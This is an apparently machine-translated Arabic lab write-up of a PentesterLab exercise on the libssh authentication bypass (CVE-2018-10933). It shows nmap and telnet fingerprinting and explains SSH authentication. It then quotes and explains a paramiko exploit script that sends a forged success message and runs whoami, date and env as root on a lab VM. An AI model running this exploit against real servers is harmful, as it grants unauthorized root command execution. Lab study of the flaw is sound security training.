هاكر لاب: P1. Libssh المصادقة الالتفافية

أنا بدأت سلسلة من المقالات حول تحليل خدمة pentesterlab . لسوء الحظ ، ليس لدي إصدار Pro من الدورة التدريبية ، لذلك أنا مقيد فقط بقائمة المهام المجانية. كل حالة عبارة عن نظام يحتوي على ثغرة أمنية يجب استغلالها لتحقيق هدف محدد.


Libssh المصادقة الالتفافية


تتضمن الحالة مضيفًا (الجهاز الظاهري) مع تشغيل خدمة SSH. التحدي هو السيطرة على الجهاز من خلال تجاوز مصادقة SSH. تخيل أننا لا نعرف أي تطبيق SSH معين موجود على الخادم وأي ثغرة نحتاج إلى استغلالها.

كيف تعرف؟ أول ما يتبادر إلى الذهن هو استخدام الماسح شبكة nmap مع خيار -sV:

~$ nmap 192.168.0.89 -p 22 -sV Nmap scan report for 192.168.0.89 Host is up (0.00100s latency). PORT STATE SERVICE VERSION 22/tcp open ssh (protocol 2.0) 1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service : SF-Port22-TCP:V=7.60%I=7%D=3/2%Time=5C7A9190%P=x86_64-pc-linux-gnu%r(NULL, SF:16,"SSH-2\.0-libssh_0\.8\.3\r\n"); 

في التقرير ، تفيد nmap أن الخدمة غير معروفة له. ولكن بعد النظر إلى بصمة الخدمة ، يمكننا أن نرى خط تعريف الخادم ، والذي من الواضح أن المنفذ يستمع إلى LibSSH الإصدار 0.8.3.
شرائح من RFC-4253:
مباشرة بعد تأسيس الاتصال ، تبادل العميل والخادم رسائل النموذج:

SSH-protoversion-softwareversion تعليقات

يشير الحقل protoversion إلى إصدار البروتوكول. نظرًا لأن الإصدار الثاني من SSH مناسب حاليًا ، يجب أن يحتوي الحقل على القيمة "2.0". يحتوي حقل softwareversion على اسم وإصدار تطبيق البروتوكول المستخدم بشكل أساسي لبدء الامتدادات والتوافق وإشارة إلى قدرات التنفيذ. حقل التعليقات اختياري ؛ فهو يشير إلى معلومات إضافية يمكن أن تساعد في حل مشكلات المستخدم.
وبالمثل ، يمكننا الحصول على هذا الخط باستخدام الأداة المساعدة telnet:

 $ telnet 192.168.0.89 22 Trying 192.168.0.89... Connected to 192.168.0.89. Escape character is '^]'. SSH-2.0-libssh_0.8.3 Bye ByeConnection closed by foreign host. 

أو احصل على WireShark:

الصورة

تؤدي عمليات بحث Google إلى حدوث ثغرة أمنية CVE-2018-10933 ، والتي تؤثر على إصدارات LibSSH من 0.7.6 إلى 0.8.4. لفهم ذلك ، سأتحدث باختصار عن مصادقة العميل باستخدام SSH. بعد إنشاء الاتصال ، يتفق العميل والخادم على سر يسمى مفتاح الجلسة ، والذي سيتم استخدامه للتشفير أثناء الجلسة ، علاوة على ذلك ، يمكن تقسيم المصادقة إلى عدة مراحل ، والتي يتم تشفيرها:

  1. يرسل العميل إلى الخادم رسالة SSH_MSG_USERAUTH_REQUEST تحتوي على اسم المستخدم واسم طريقة المصادقة والحقول الإضافية. يمكن أن يقبل الخادم الطلب أو يرفضه برسالة تحتوي على الرمز SSH_MSG_USERAUTH_FAILURE ، إذا كانت طريقة المصادقة المقترحة غير مدعومة.
  2. تعتمد الخطوة الثانية مباشرة على طريقة المصادقة. في حالة مصادقة كلمة المرور ، يرسل العميل كلمة المرور في المرحلة الأولى ، ثم ينتظر التأكيد من الخادم. في المصادقة مع المفاتيح العامة ، يتم إرسال المفتاح العام والتوقيع مع المفتاح الخاص. يتحقق الخادم مما إذا كان لديه مثل هذا المستخدم ، باستخدام هذا المفتاح العمومي ، وما إذا كان المفتاح العمومي للتوقيع يطابق ... لا يزال هناك طريقة للمصادقة بواسطة المضيف ، ولكن نادرًا ما يتم استخدامه ، يمكن قراءة جميع طرق المصادقة بالتفصيل في RFC-4252 ( الروسية ، الإنجليزية )
  3. في الخطوة الثالثة ، يتوقع العميل المصادقة من الخادم. يرسل الخادم رسالة تحتوي على الرمز SSH_MSG_USERAUTH_SUCSESS إذا كان يقبل المصادقة أو SSH_MSG_USERAUTH_FAILURE في حالة رفضه.

يوجد خطأ في قسم التعليمات البرمجية المسؤول عن التحقق من رمز الرسالة الذي يسمح للخادم بتلقي رسالة SSH_MSG_USERAUTH_SUCSESS. باستخدام هذه الفجوة يمكن تجاوز عملية المصادقة.

لدى GitHUb العديد من عمليات الاستغلال الجاهزة لهذه الثغرة الأمنية ، لذلك لن نعيد اختراع العجلة وننظر في هذه المشكلة (أشكر مؤلف البرنامج النصي).

يتم كتابة البرنامج النصي في بيثون باستخدام وحدة paramiko - Python (2.7 ، 3.4+) من بروتوكول SSHv2 ، والذي يوفر وظائف كل من العميل والخادم. دعنا نحلل مقاطع الكود التي نهتم بها:

 sock = socket.socket() sock.connect((host,int(port))) 

ينشئ هذا الخط مأخذ توصيل ويتصل بالخادم. ما هو وصف مأخذ جيد للغاية هنا .

 message = paramiko.message.Message() 

فئة الرسالة هذه هي SSH2. إنها مجموعة من أرقام الصفوف والمتغيرات من النوع bool ، يتم جمعها في دفق واحد من البايتات.

 transport = paramiko.transport.Transport(sock) transport.start_client() 

هذه الفئة هي وسيلة للتفاعل مع بروتوكول SSH. نقوم بإنشائه والاتصال على الفور في وضع العميل.

 message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport._send_message(message) 

المعلمة paramiko.common.cMSG_USERAUTH_SUCCESS هي الرقم 52 ، الموضوعة في بايت واحد. هذا هو رمز الرسالة MSG_USERAUTH_SUCCESS. نرسل هذه الرسالة إلى الخادم.

 cmd = transport.open_session() cmd.exec_command(command) 

نقوم بإنشاء قناة جديدة وإرسال الأمر فورًا ، مكتوبًا كسلسلة في الأمر.

 out=cmd.makefile("rb",222048) output=out.read() out.close() print (output) 

تنشئ طريقة makefile ملفًا حول الأنبوب. "Rb" - قراءة وضع وصول البايت ، 222048 - حجم المخزن المؤقت. تحصل Out على نتيجة الأمر الذي أرسلناه ، والذي نقوم بطباعته عبر print (). مع out.close () ، ننهي الاتصال.

يبقى تشغيل هذا البرنامج النصي ، مع الإشارة إلى عنوان IP الخاص بالجهاز الظاهري الذي تم تنزيله وتشغيله مسبقًا ، والأمر الذي نريد تنفيذه على ضحيتنا. حاولت تحديد أوامر مختلفة ، وهنا النتيجة:

 #   ,     $ ./LibAuth.py --host 192.168.0.89 -c whoami b'root\n' #   $ ./LibAuth.py --host 192.168.0.89 -c date b'Wed Mar 6 22:50:00 UTC 2019\n' #  $ ./LibAuth.py --host 192.168.0.89 -c env b'USER=pentesterlab\nSHLVL=5\nHOME=/\nuser=pentesterlab\nTERM=linux\nBOOT_IMAGE=/boot/vmlinuz\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/usr/sbin:/bin:/usr/bin\nLANG=C\nSHELL=/bin/sh\ninitrd=/boot/initrd.img\nPWD=/\n' 

استنتاج النتيجة هو بعض الخرقاء ، إذا لزم الأمر ، يمكنك إصلاحه. ولكن بشكل عام - يمكن اعتبار المهمة مكتملة.

أن تستمر ...

Source: https://habr.com/ru/post/ar438434/


All Articles